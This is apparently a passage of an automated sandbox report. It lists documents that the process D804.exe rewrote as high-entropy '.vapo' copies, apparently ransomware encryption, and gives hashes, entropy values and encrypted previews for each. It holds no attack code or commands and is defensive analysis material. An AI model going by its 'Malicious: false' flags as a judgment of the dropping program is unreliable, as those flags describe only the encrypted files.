Entropy (8bit):	7.834868577205377
Encrypted:	false
SSDEEP:	24:sDP3lJNRvKDZmPY+P5sOnsM5cvgN1JVI66A2mAJpjMuh2aRjG9j6eW1YI0qppDib:sT/NRC6JBsUc682sRzrjGLWD0q3N/nu1
MD5:	E1EDEE989204BCE9132E9B6290D8BCD0
SHA1:	6EADC9882BE6A3FE65818E11653F9CE09475F988
SHA-256:	681398C8F2927A9B33B87322EB05BB3E705D375F8E53B1D6CC397005E16279A0
SHA-512:	167C9C78F6EA45A4D29F5E5FA26FD089E535C0B3415B41C6DED367F4D31615C2B603E1EC0AB906B96E92DA04F765FDBB292588D5D420F3F7F22F03FFA2CF90EE
Malicious:	false
Reputation:	unknown
Preview:	HMPPS..e;..dzj......x...D+.)...-...u.......1w....>b.D.3......Ha.._.z...Z6!&...(.4.^.[.6i<...54+;..ux/+.J...;ar9.h.n...!5....cb..RW....SGRk......tH....V..YKHr,......\).Wh.c...>..v....n......?d...S. .aS..@...b[r.]yLD.Fl.p...ym.@..R.....\|..6....6....0...r.i..\J.oU..%u..E<..d..]..."H%...O./..aG.N.h.......Y.lF..r.wU.A.98..:...'.C+.q..F.........n.S:..5M.....Z...?..@.r.tG..............I.<.j..<.O..gh.B....i.k..X..^.:.C.._=.<....\|5.j......A..I..)d...vw_n............ik..~....E.+.y....&".lwA...4..c....\|)... ..^...)....(.?.".Z...=...#..yM6.+.!...kN....H.t....B..}.6lc..@e.m.../.......sXP..#...hG.%..N.)g..2..)E.m_r.@..U...o.......&.i...z........W.6.e?&..{I............P..<.I~.v.DL.'`.y.a.....t..B...h....V........4W./.7..\7'.>...!R-.)..T........q.>..vb~QWpW_..o.....'.D.1.f,Q=q..7.f$....E ...5...-..}...e9..P.......4.~.U..q......(qC....Sqa.4..Z...cr.....H2..2.[..N.S.4t?.......f.4.......x...[...P...q.h'....t.6.0.U..k@..k.b....t.0..7'L..{%.[=..R..

C:\Users\user\Documents\HQJBRDYKDE.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861356977791631
Encrypted:	false
SSDEEP:	24:oE8Jj2/cSbHoLAqRdvLVUkCrRNCcvEu6yKOWgNlHaUu/AHWi3bD:ax7SkFRdvZ0NCcvEXyTNUZiLD
MD5:	DFE6FD6C02984FB9216DB77693AED00D
SHA1:	5BF42C96A16595F1554FE0B31CD1C1D0FBA56CFF
SHA-256:	F7DC66EB3E596ECFBBF4B215A3B4B3A7024EA03E5B75ECECD92D106E2F29C229
SHA-512:	1ABC732C329B4E676408971AD94931831664A38D67228FCC76ED206393C3615F1581D90B4089E6C69ED68A5CB186D994764A838043974FC510105E16C3ABDE09
Malicious:	false
Reputation:	unknown
Preview:	HQJBR.N.G.TqIY./.8.My.e.....\|r..V...A..;.`0.t....."...(.<.Xt'E.G..Y.uv,8.+.H....E.v.N...j4.qG)#...I.(m...........D....g1...tK.../{.Z\1R.g..E....I........`m.".......ZR..>.-..X.P@.b.....u..$.S.j.\j.V..pL8N.8=.m.c....=^.5$..#".4...q..#.0u.hN.[T...5h...K.\|..W..x.U....7z...f#...s..7X.....ok4.R.u.~d.._l.......O.J"....F.D.C.:..'%w"\...CH....G03....M.....u.t..)....A<..0.g. ..q.e='.+.r'6q.....,..?Q...H...a+..x}:f.i$V......s.K~....L36q>.Z.\|.~aK..6.....f....t.x4K..<...6.. ?qA.%...?..S.....B.y.....Dh....8\|.c..iE.bGj9Y...e.J..bD..V#.w_...N.F0F.........y.lU........m..-d...L{&........J6....5.\|....... .V{o'l..LSF 8.v0...d ..1.M+..v..n...#h....>..G..i..m...:..V.....9..9..n....a@.hlFe...@..=.5...!.YVp>..Q.f.*.....#}...,.:2..9.q...I.R.@.H.?.P..$..P\8......Z?..f..>...t...l....v.#.....Q...5.L..X..Fo_....$G.....76...Ms,{.X...Y.]......%.Y.o..t...u....(..MF..&%.A.......".._f"........z7...'C1)...A..=7...(...;~..../....x.c.x....%...}..)G.M.{.(.

C:\Users\user\Documents\HQJBRDYKDE.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861356977791631
Encrypted:	false
SSDEEP:	24:oE8Jj2/cSbHoLAqRdvLVUkCrRNCcvEu6yKOWgNlHaUu/AHWi3bD:ax7SkFRdvZ0NCcvEXyTNUZiLD
MD5:	DFE6FD6C02984FB9216DB77693AED00D
SHA1:	5BF42C96A16595F1554FE0B31CD1C1D0FBA56CFF
SHA-256:	F7DC66EB3E596ECFBBF4B215A3B4B3A7024EA03E5B75ECECD92D106E2F29C229
SHA-512:	1ABC732C329B4E676408971AD94931831664A38D67228FCC76ED206393C3615F1581D90B4089E6C69ED68A5CB186D994764A838043974FC510105E16C3ABDE09
Malicious:	false
Reputation:	unknown
Preview:	HQJBR.N.G.TqIY./.8.My.e.....\|r..V...A..;.`0.t....."...(.<.Xt'E.G..Y.uv,8.+.H....E.v.N...j4.qG)#...I.(m...........D....g1...tK.../{.Z\1R.g..E....I........`m.".......ZR..>.-..X.P@.b.....u..$.S.j.\j.V..pL8N.8=.m.c....=^.5$..#".4...q..#.0u.hN.[T...5h...K.\|..W..x.U....7z...f#...s..7X.....ok4.R.u.~d.._l.......O.J"....F.D.C.:..'%w"\...CH....G03....M.....u.t..)....A<..0.g. ..q.e='.+.r'6q.....,..?Q...H...a+..x}:f.i$V......s.K~....L36q>.Z.\|.~aK..6.....f....t.x4K..<...6.. ?qA.%...?..S.....B.y.....Dh....8\|.c..iE.bGj9Y...e.J..bD..V#.w_...N.F0F.........y.lU........m..-d...L{&........J6....5.\|....... .V{o'l..LSF 8.v0...d ..1.M+..v..n...#h....>..G..i..m...:..V.....9..9..n....a@.hlFe...@..=.5...!.YVp>..Q.f.*.....#}...,.:2..9.q...I.R.@.H.?.P..$..P\8......Z?..f..>...t...l....v.#.....Q...5.L..X..Fo_....$G.....76...Ms,{.X...Y.]......%.Y.o..t...u....(..MF..&%.A.......".._f"........z7...'C1)...A..=7...(...;~..../....x.c.x....%...}..)G.M.{.(.

C:\Users\user\Documents\LFOPODGVOH.jpg

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858044507370862
Encrypted:	false
SSDEEP:	24:UJWVl1HU9+6KHQYvBd7S7pxRH5cPyNUPU+rFfBZEe73Mjf+bD:3n1F6KR5dSXRg8UPTfk+3Mj0D
MD5:	C10A3471E458DC181354CB7A7165ED53
SHA1:	27567E826CDDCCA5BC82B44698A2973911BC0F18
SHA-256:	E8E3400F7F594A49C16F477F43E770A5D1C9D12E0C89BB631887FC32CC1916C1
SHA-512:	3EE813A8DC6C5A7DA7509FDF8B3B80CAEBB18A8A3DC5AAB753F48A8DF42663E69D0CD1E4B6FABB7E50AC72FFF4BAB65D301DA2F1FF56B1390BBF9DBDA9BBB868
Malicious:	false
Reputation:	unknown
Preview:	LFOPO.r...T1~....[@e...j2.....D.R.rw..d%. ZH\...{.mM...I...L+.m..3...5..~.&.}(.....1....@............VW..)...T.n..D.~N..l...}i../..F......S......2l...,..A..hrT..Q....P...[....c1Cb. >.0.......w...}.0..P&../O0...J:Bk.c....X..\Q...;g.SE...J.u.pU4~.&.....#..T....f.........)., ....e-. .^.`...hH.t......VTG..vZ..=...p8.].y.I(.A..V* ...M..].^..5.8.~XG.f...........M..#.=x...a.g.?...[.^..W...;.....k.h..........]...~...=:j..T4O... S...4D;.......Jf......#VU.:......Wb...J..9..[..4.:b`.#..,...h...&#.nQe...`...6.d..m.....o3rj./.....O\|3.6........92...v...t.j.QN...dl.go......6o....#..]..S......5...[A..`[Y.C.........V........=l....G..S....\|........Pj}W..n.sR..5.q...."[..M.f....!...qw:...(Q.. .d9G.S..+I1]"0.+9KL........\|PK&..#..e......9.e...].. ..+M.9.M.....P@.le..%.z%2..X.)...O."b.....F.],..v..]=7]w.a......vN0.....r..]R..X..<.^.}.;..1....yU:..r...%..coSh\...#...V..K.._...^.'A.J...A.!.S9..........o6......]a..,?7.'D.......]s..Y.vb.....6..b.`.a[!..

C:\Users\user\Documents\LFOPODGVOH.jpg.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.858044507370862
Encrypted:	false
SSDEEP:	24:UJWVl1HU9+6KHQYvBd7S7pxRH5cPyNUPU+rFfBZEe73Mjf+bD:3n1F6KR5dSXRg8UPTfk+3Mj0D
MD5:	C10A3471E458DC181354CB7A7165ED53
SHA1:	27567E826CDDCCA5BC82B44698A2973911BC0F18
SHA-256:	E8E3400F7F594A49C16F477F43E770A5D1C9D12E0C89BB631887FC32CC1916C1
SHA-512:	3EE813A8DC6C5A7DA7509FDF8B3B80CAEBB18A8A3DC5AAB753F48A8DF42663E69D0CD1E4B6FABB7E50AC72FFF4BAB65D301DA2F1FF56B1390BBF9DBDA9BBB868
Malicious:	false
Reputation:	unknown
Preview:	LFOPO.r...T1~....[@e...j2.....D.R.rw..d%. ZH\...{.mM...I...L+.m..3...5..~.&.}(.....1....@............VW..)...T.n..D.~N..l...}i../..F......S......2l...,..A..hrT..Q....P...[....c1Cb. >.0.......w...}.0..P&../O0...J:Bk.c....X..\Q...;g.SE...J.u.pU4~.&.....#..T....f.........)., ....e-. .^.`...hH.t......VTG..vZ..=...p8.].y.I(.A..V* ...M..].^..5.8.~XG.f...........M..#.=x...a.g.?...[.^..W...;.....k.h..........]...~...=:j..T4O... S...4D;.......Jf......#VU.:......Wb...J..9..[..4.:b`.#..,...h...&#.nQe...`...6.d..m.....o3rj./.....O\|3.6........92...v...t.j.QN...dl.go......6o....#..]..S......5...[A..`[Y.C.........V........=l....G..S....\|........Pj}W..n.sR..5.q...."[..M.f....!...qw:...(Q.. .d9G.S..+I1]"0.+9KL........\|PK&..#..e......9.e...].. ..+M.9.M.....P@.le..%.z%2..X.)...O."b.....F.],..v..]=7]w.a......vN0.....r..]R..X..<.^.}.;..1....yU:..r...%..coSh\...#...V..K.._...^.'A.J...A.!.S9..........o6......]a..,?7.'D.......]s..Y.vb.....6..b.`.a[!..

C:\Users\user\Documents\LFOPODGVOH.xlsx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815194513806057
Encrypted:	false
SSDEEP:	24:Z2+/GTH+GkOipEQC2B1cxSOr/ZSdRj8M6ovq2iI1UAyBqZNMe/zzsbD:R+LR7Nwgr/mRj8M6DsIBcNMe/OD
MD5:	189F447BFDA41501AE21525E1FFDCB21
SHA1:	5DDBCF8D86974784A426AAB015C338FD7C347112
SHA-256:	8CF8AAAE03108B5460684B0EA7C676136841E58E018125E3D2DE4A085C39FB61
SHA-512:	1A49F86BBCB49B1BB507D8828B2E8C9D0350A9661EA5A035212778F828760A337A143A239E001E657BE3A92785C97B2A370520B1DAE8A2BF078315BA952AA384
Malicious:	false
Reputation:	unknown
Preview:	LFOPO......"..w4=..&...e.CykL....?S_.\...a.J..@...`.6`S@^nj...ik.<`..^.4..tU.....>.M&..<._.x...4p.......3.<?}.:...,........1...b0.r...^k.gj..l>r...q........R,....I..v....x...-.(w...k...;A.I..T.i4.]....54..u..&y.X.._.d....~S.0....t..@..=....H.d....l...l.X..e..$"^...d..J.6...%...~..,A..hr.C.$..n.Khy..`.{...D.......w..7^.../..x......J.H.m$.p..lYC.\|..0.U.&6.......j.;...x.\.I..iv.Q.X8.......<..\..zb....?....B......Qf.e..0QC..6....-....qa.......?..ul.II...`...57.qro>.L..k...Qe..(0d{^....]P....P..i%../.....C$.Ht..J..t^..".e.~..a........H.)8.T....U..\|.U.Sx...;3..M..P.....EV.j...v...I.?...R..>..Lya..J.o...w."..^....6.F8f7.H...s.v@<..>..:.......M.Pg.'...h..m.~....G'}..K.....P..r..6..;..[..J.<&.xK.s...q...4%.!.p1.oUu....H.a.b.....L...{...:.8.... .!...o..-*...Hw....\|nA.h..7M',...W.E`&.K..c.<-Z...z...l=.Wd.?$.....l8.......4@F.5.`'.(.C.....b..bu.7.....;F......~.P.O0..4w.]..J...L...C..B.!\.D.n.....Y.s..2......1.J.6.l.\{.3:IZ...c..yM;.]..M..C}(d.z..C

C:\Users\user\Documents\LFOPODGVOH.xlsx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.815194513806057
Encrypted:	false
SSDEEP:	24:Z2+/GTH+GkOipEQC2B1cxSOr/ZSdRj8M6ovq2iI1UAyBqZNMe/zzsbD:R+LR7Nwgr/mRj8M6DsIBcNMe/OD
MD5:	189F447BFDA41501AE21525E1FFDCB21
SHA1:	5DDBCF8D86974784A426AAB015C338FD7C347112
SHA-256:	8CF8AAAE03108B5460684B0EA7C676136841E58E018125E3D2DE4A085C39FB61
SHA-512:	1A49F86BBCB49B1BB507D8828B2E8C9D0350A9661EA5A035212778F828760A337A143A239E001E657BE3A92785C97B2A370520B1DAE8A2BF078315BA952AA384
Malicious:	false
Reputation:	unknown
Preview:	LFOPO......"..w4=..&...e.CykL....?S_.\...a.J..@...`.6`S@^nj...ik.<`..^.4..tU.....>.M&..<._.x...4p.......3.<?}.:...,........1...b0.r...^k.gj..l>r...q........R,....I..v....x...-.(w...k...;A.I..T.i4.]....54..u..&y.X.._.d....~S.0....t..@..=....H.d....l...l.X..e..$"^...d..J.6...%...~..,A..hr.C.$..n.Khy..`.{...D.......w..7^.../..x......J.H.m$.p..lYC.\|..0.U.&6.......j.;...x.\.I..iv.Q.X8.......<..\..zb....?....B......Qf.e..0QC..6....-....qa.......?..ul.II...`...57.qro>.L..k...Qe..(0d{^....]P....P..i%../.....C$.Ht..J..t^..".e.~..a........H.)8.T....U..\|.U.Sx...;3..M..P.....EV.j...v...I.?...R..>..Lya..J.o...w."..^....6.F8f7.H...s.v@<..>..:.......M.Pg.'...h..m.~....G'}..K.....P..r..6..;..[..J.<&.xK.s...q...4%.!.p1.oUu....H.a.b.....L...{...:.8.... .!...o..-*...Hw....\|nA.h..7M',...W.E`&.K..c.<-Z...z...l=.Wd.?$.....l8.......4@F.5.`'.(.C.....b..bu.7.....;F......~.P.O0..4w.]..J...L...C..B.!\.D.n.....Y.s..2......1.J.6.l.\{.3:IZ...c..yM;.]..M..C}(d.z..C

C:\Users\user\Documents\LHEPQPGEWF.mp3

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8266109236546795
Encrypted:	false
SSDEEP:	24:9u8Zjn97do9jIm1VPJDmvncii/Gt2U6IIOXF2LQrru531xiN5dqXUdT1obD:9u8ZjTo9/1VJDIneOXF2LJlkNCXURUD
MD5:	24486091E70713F6492D12A0508F1167
SHA1:	4CF29BDDE6132306BAD5D981E0E913C57683C139
SHA-256:	EC2DDF80FCFFCB166A756F2605BB41A4EE7A4013504E185ACAE92307B4487C50
SHA-512:	03E9659F738DA9E08AA2503C7D24E58985C6465574304A19F28B39BED5018B73B691C6800FB13DF6106B3E07036C6C0A505CDEA367285CD5A1BB5DD664CB9352
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ..rr]..8.+...M...6<.U........:.....x.Fd..+.....K..q#N...z.(\|.$.....Q..'..............#.;+..HF.".I...i.J..^.[.....Y..<N-..:......i(....O.?......G.^.g.J/.r...p;}.j..,.2Uy....l.1/6}...D.]M.U....'.C..7].9I.Y....s....<..E...m.n..J.!....<.jA!+4._..y/$?.3.....c..F....9..m._...c.B.P.O0R.".T..x...#dA.Ac[....7..S....\|.VR.!.$,R.{...#.M.. !~.....T.c9.."....=....../jz..9C..1..F.G.r..LDjO07}..._....>. E.g\...f....C.X.J.:P\ZX.P....8.r.n.j..(....R...h. ....!.zy......'..wV...@.46.H.hn.".....BQ#y.C...k.j...z\|.8....CLf....w.....X..s..&.Jo..\|.......y..........y.\|......:mGp....A...E........YerY.9.~..`......+c.....Y...x..!..7.~cU.n....."..w.....b.w0.w^..#.4.n......m...m..=:..3Ka..RG)%V.........E..\...3.5..&...\|.wqw...=.".%...1.~]..,.....N.X........[K;.a+.x}gn....>\5.%H....N.'........+.....L.\...{...........7+3...S.k\|Q.....D..:."}..\..t.}.x!5...~........9pq.0.....:.--.].o$.(.%Ht.0..%....C.N.\|....w.c.#...j..6..3.Q...P$...=~..],x..4....O.Au1...zG

C:\Users\user\Documents\LHEPQPGEWF.mp3.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.8266109236546795
Encrypted:	false
SSDEEP:	24:9u8Zjn97do9jIm1VPJDmvncii/Gt2U6IIOXF2LQrru531xiN5dqXUdT1obD:9u8ZjTo9/1VJDIneOXF2LJlkNCXURUD
MD5:	24486091E70713F6492D12A0508F1167
SHA1:	4CF29BDDE6132306BAD5D981E0E913C57683C139
SHA-256:	EC2DDF80FCFFCB166A756F2605BB41A4EE7A4013504E185ACAE92307B4487C50
SHA-512:	03E9659F738DA9E08AA2503C7D24E58985C6465574304A19F28B39BED5018B73B691C6800FB13DF6106B3E07036C6C0A505CDEA367285CD5A1BB5DD664CB9352
Malicious:	false
Reputation:	unknown
Preview:	LHEPQ..rr]..8.+...M...6<.U........:.....x.Fd..+.....K..q#N...z.(\|.$.....Q..'..............#.;+..HF.".I...i.J..^.[.....Y..<N-..:......i(....O.?......G.^.g.J/.r...p;}.j..,.2Uy....l.1/6}...D.]M.U....'.C..7].9I.Y....s....<..E...m.n..J.!....<.jA!+4._..y/$?.3.....c..F....9..m._...c.B.P.O0R.".T..x...#dA.Ac[....7..S....\|.VR.!.$,R.{...#.M.. !~.....T.c9.."....=....../jz..9C..1..F.G.r..LDjO07}..._....>. E.g\...f....C.X.J.:P\ZX.P....8.r.n.j..(....R...h. ....!.zy......'..wV...@.46.H.hn.".....BQ#y.C...k.j...z\|.8....CLf....w.....X..s..&.Jo..\|.......y..........y.\|......:mGp....A...E........YerY.9.~..`......+c.....Y...x..!..7.~cU.n....."..w.....b.w0.w^..#.4.n......m...m..=:..3Ka..RG)%V.........E..\...3.5..&...\|.wqw...=.".%...1.~]..,.....N.X........[K;.a+.x}gn....>\5.%H....N.'........+.....L.\...{...........7+3...S.k\|Q.....D..:."}..\..t.}.x!5...~........9pq.0.....:.--.].o$.(.%Ht.0..%....C.N.\|....w.c.#...j..6..3.Q...P$...=~..],x..4....O.Au1...zG

C:\Users\user\Documents\LIJDSFKJZG.pdf

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838568521577265
Encrypted:	false
SSDEEP:	24:QCJCvugaj+EIDWapIDSs0U1rvtAM+94MNxmA1ytCYD0DKWvDNo1bD:ryp3DWapIDR0fM+91O2YD0DKwolD
MD5:	08F0B704E776066D9B541F1E5A7F9EBE
SHA1:	329472E3D2CB0A1AB438211FD5FBE8C2296FB9D1
SHA-256:	C139BB7C811D678D9201BA0C547E921B58781C0F5F73876C35279F90D29DB663
SHA-512:	421F4D890DD09333ABDD83B237F3F3E32EBF4D9631952133C76FC921B9D825523109BD3DBE266AD2A7FA04E2AAF6808FDB15A04D46C2EEAE53BB03694CFB8F81
Malicious:	false
Reputation:	unknown
Preview:	LIJDS-!M..4..m#.T.../.G..T1. [K....X..8[".....N....-$..&..9.qQ:........UTI..t.s...E..6]..;....m...`=...Y71..p.%...+...$[....5....t?.9t.K.ueT.Z..P:5.YL7........7xr>.C.(..9...i_.3...n........Zth...KW.Q#.&.{.e....,.eZ_k.c..T>zAc9.C3..A...Xo.W....Q...e....4..w.t...)..W.5....2.>.p..?K.,\|6..LW$.4..l^k7.~..5...#.6.26........)`..>H...F/4M)........#KM.............M....Kt..A...A.E..Y...S... L..@.+.i.qs.....).=..)}\..t.`..Nmp.R$..3.....$.....0C........4.xC..Lv......#o8....R....N....E.&..h(...v.#hB.0%.rW.2\.F.R..F.K......F.[........]n..`....H.v......?.$.S.;}a...x.}.8.....$.J<._].}1...s..t....s..n.N.F._......).L.T..W).-]%ayT-..mp.P....5..r.yz3.....2...{.....).....s.N... ....HPd>..\|. u..m E.9\|.M..(..d\..1..^..y..&n....L4.v...@=Q.w..x(....A.Cl..._..W....<.%..,K../..Bl.4.................~`Mr.WW.q..._..i....B..N.Y.j.....f.^..,{.jT.N.+B..Mu..$`..q$....X<.f.c..\|fz.\.^..O........b;...T..%..+\|..Q.xa...Z.....a.P......[..v..e.......o...I.`X...8..[.PcL=D..[\v`.Ld..

C:\Users\user\Documents\LIJDSFKJZG.pdf.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.838568521577265
Encrypted:	false
SSDEEP:	24:QCJCvugaj+EIDWapIDSs0U1rvtAM+94MNxmA1ytCYD0DKWvDNo1bD:ryp3DWapIDR0fM+91O2YD0DKwolD
MD5:	08F0B704E776066D9B541F1E5A7F9EBE
SHA1:	329472E3D2CB0A1AB438211FD5FBE8C2296FB9D1
SHA-256:	C139BB7C811D678D9201BA0C547E921B58781C0F5F73876C35279F90D29DB663
SHA-512:	421F4D890DD09333ABDD83B237F3F3E32EBF4D9631952133C76FC921B9D825523109BD3DBE266AD2A7FA04E2AAF6808FDB15A04D46C2EEAE53BB03694CFB8F81
Malicious:	false
Reputation:	unknown
Preview:	LIJDS-!M..4..m#.T.../.G..T1. [K....X..8[".....N....-$..&..9.qQ:........UTI..t.s...E..6]..;....m...`=...Y71..p.%...+...$[....5....t?.9t.K.ueT.Z..P:5.YL7........7xr>.C.(..9...i_.3...n........Zth...KW.Q#.&.{.e....,.eZ_k.c..T>zAc9.C3..A...Xo.W....Q...e....4..w.t...)..W.5....2.>.p..?K.,\|6..LW$.4..l^k7.~..5...#.6.26........)`..>H...F/4M)........#KM.............M....Kt..A...A.E..Y...S... L..@.+.i.qs.....).=..)}\..t.`..Nmp.R$..3.....$.....0C........4.xC..Lv......#o8....R....N....E.&..h(...v.#hB.0%.rW.2\.F.R..F.K......F.[........]n..`....H.v......?.$.S.;}a...x.}.8.....$.J<._].}1...s..t....s..n.N.F._......).L.T..W).-]%ayT-..mp.P....5..r.yz3.....2...{.....).....s.N... ....HPd>..\|. u..m E.9\|.M..(..d\..1..^..y..&n....L4.v...@=Q.w..x(....A.Cl..._..W....<.%..,K../..Bl.4.................~`Mr.WW.q..._..i....B..N.Y.j.....f.^..,{.jT.N.+B..Mu..$`..q$....X<.f.c..\|fz.\.^..O........b;...T..%..+\|..Q.xa...Z.....a.P......[..v..e.......o...I.`X...8..[.PcL=D..[\v`.Ld..

C:\Users\user\Documents\NIRMEKAMZH.png

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861467707584987
Encrypted:	false
SSDEEP:	24:n4m9RqGuGyVaED/Q8F7M6KZ3Mt+sQcdvdq/+yVbqPMi55sjGqf9GqMT1b7BsbD:jqGvyYED/lFgHZJsQcP2nsMi56Gqf9Gy
MD5:	B841164F239F893C8AB1C299A5B4AC14
SHA1:	E14A39D394AA4C5841E03B6045FE12BE6CB92D5D
SHA-256:	399643BECF18701F5351DD289739C4163375F825CDEC5B5565DBA72E4272E2C4
SHA-512:	0EF954CA997FFB46ADCE4F5F672A5B684A6F2D1799E54DA2D5745E9FE8EBECEB90C8BA38311A98FC9E2938631AE219F15C339D6494FBED91AC837E125A4619D5
Malicious:	false
Reputation:	unknown
Preview:	NIRME.?$.7,Q.V.j...:....CA.)........:..Q.....2e.l...`3..sr.....<........U..ud...Y1i.S.8...,.3N.).{.5......"6.Nl.V..#...B..S..%......d..s.0.yS.......N.".1.uC6.^.0faq......N....W..NP.l[...].q..d..(O..........5"....]...E.,..T....,o^ ~..<....D.x:..:.._..D..X..6KvJA.#...H.2~F.$.......x.X..y.,.a...us..p....w.N.a.9..:t."......)XS..)g.I..m:{.....b.5u.....+..[W<..x...I..`.c.../+cp...6.{...Jf....'1 .!..e.<(?..V.....d.....[...;...Y.S).m7#+.W.....M0}LG...=@....8:.....#..SD`....&qrF..... D.\|.H ]g..T&laM.h..>%...Lz.T.-....+]..n.O...5,.].....6.....\..,W.".l.eX;O.1.`.IV.n....){......l.F..;_ .!....B..@.R....^6.E...R/.U...3.%..C3.N.\| T...I...VI.uj[s.u. '...@Bd.C.w.c,..a.......W.;..<w.....\^.T..Yd2.p...~.......pE...$..B!.Z.{V..d....1w8}........9\|.:..S.@.l_`.u....]......v...X..I#..5D..q....].....f.p..............bQ.............Kq.sWu...9A...QV.;........8.[y'.T...UI..5\|#..C;..a&I{HkM),.....s...<.c.K@...C.Q..e]'W...K.?..k)L%,..l..`.e.<.:,..]....R..x.0;n

C:\Users\user\Documents\NIRMEKAMZH.png.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.861467707584987
Encrypted:	false
SSDEEP:	24:n4m9RqGuGyVaED/Q8F7M6KZ3Mt+sQcdvdq/+yVbqPMi55sjGqf9GqMT1b7BsbD:jqGvyYED/lFgHZJsQcP2nsMi56Gqf9Gy
MD5:	B841164F239F893C8AB1C299A5B4AC14
SHA1:	E14A39D394AA4C5841E03B6045FE12BE6CB92D5D
SHA-256:	399643BECF18701F5351DD289739C4163375F825CDEC5B5565DBA72E4272E2C4
SHA-512:	0EF954CA997FFB46ADCE4F5F672A5B684A6F2D1799E54DA2D5745E9FE8EBECEB90C8BA38311A98FC9E2938631AE219F15C339D6494FBED91AC837E125A4619D5
Malicious:	false
Reputation:	unknown
Preview:	NIRME.?$.7,Q.V.j...:....CA.)........:..Q.....2e.l...`3..sr.....<........U..ud...Y1i.S.8...,.3N.).{.5......"6.Nl.V..#...B..S..%......d..s.0.yS.......N.".1.uC6.^.0faq......N....W..NP.l[...].q..d..(O..........5"....]...E.,..T....,o^ ~..<....D.x:..:.._..D..X..6KvJA.#...H.2~F.$.......x.X..y.,.a...us..p....w.N.a.9..:t."......)XS..)g.I..m:{.....b.5u.....+..[W<..x...I..`.c.../+cp...6.{...Jf....'1 .!..e.<(?..V.....d.....[...;...Y.S).m7#+.W.....M0}LG...=@....8:.....#..SD`....&qrF..... D.\|.H ]g..T&laM.h..>%...Lz.T.-....+]..n.O...5,.].....6.....\..,W.".l.eX;O.1.`.IV.n....){......l.F..;_ .!....B..@.R....^6.E...R/.U...3.%..C3.N.\| T...I...VI.uj[s.u. '...@Bd.C.w.c,..a.......W.;..<w.....\^.T..Yd2.p...~.......pE...$..B!.Z.{V..d....1w8}........9\|.:..S.@.l_`.u....]......v...X..I#..5D..q....].....f.p..............bQ.............Kq.sWu...9A...QV.;........8.[y'.T...UI..5\|#..C;..a&I{HkM),.....s...<.c.K@...C.Q..e]'W...K.?..k)L%,..l..`.e.<.:,..]....R..x.0;n

C:\Users\user\Documents\NWCXBPIUYI.docx

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852367622056049
Encrypted:	false
SSDEEP:	24:nUSUbaHuj1ttD72uguDNQmk1LkPj6t0gSTnBU5t4RoxIP2WbD:JSaOj9D72ugmiN4ibSBPixw2ED
MD5:	E14F8B571687ECB4E408D68A52D782FC
SHA1:	39C9DAE16A5A9FF718AC26A4AA73EACB2DB156C9
SHA-256:	7EDE924EF432489A52B76F4D7FA5A7AE91CEE526DC13DD158ABBCB65CED827C8
SHA-512:	E4F50494615A730113C57CAABF7E2236C5CED0D89AEA99C3AC6BD818D50EAD4F948D5B3A2B6BF40E7ECBD96209AD23A74C1EE97D47DAEEF94622FE492E38847B
Malicious:	false
Reputation:	unknown
Preview:	NWCXB.e..(C,...;o..d.T....z.&..._.Vi..Gv..J.B...6Q.O3.+:s={.G.R"y..?.qd^T%.n.4...z:......k...}..1..J........8.X.a.........3...%._......9".."..K...j....L....-..!ScS...L....9}$^......IH.;/ '!oh.SG.....9.....>.b5Y....:..VL....9......D..+..G<.Uv..y0F.%..~.Q.@M......"...h.\......<r8..PD.J..MO.\.`&/J..q...T...X.].zp.~..@.z.7(.......Azn:78^....j..^6..s....q.H..<.OT....&\..WTJ.......+...l.jA..+...f&..}..X..`..C.eUK....gj......\....c.zU.-!........S..'.."#....D......cv .-.M/.sf.B.S.vh..(..D.7...j....'..B.&...n%........"Od'..2/.:..v.'}..5...q......)..:.n.O}........y..v...\Q...Cp`..Md7f..a.g...".@uQ9....ui[..qC.P..m(..T\|wKBT3.W%CkK4.9..\|.T4..~e..;..BY2..g...8.[.3&..$mi.-QM........~L.[.\..r...FK.L.....+...h.$. ).T=.N....L....r.:~...@n .........(@\|.mQ.....p..........j....m.2i.....vR3...o....~A......$D....H..&F.......D.G..o.HP.....r....O...{.&..Q..Z/(%....a{.T&=e.'.T..".x..[.6..W..tE.^..(..w....{..h.A...[X..pHoC.a>.."...E..E(......J.......sa(G...G..8Y.."......

C:\Users\user\Documents\NWCXBPIUYI.docx.vapo (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\D804.exe
File Type:	data
Category:	dropped
Size (bytes):	1360
Entropy (8bit):	7.852367622056049
Encrypted:	false
SSDEEP:	24:nUSUbaHuj1ttD72uguDNQmk1LkPj6t0gSTnBU5t4RoxIP2WbD:JSaOj9D72ugmiN4ibSBPixw2ED
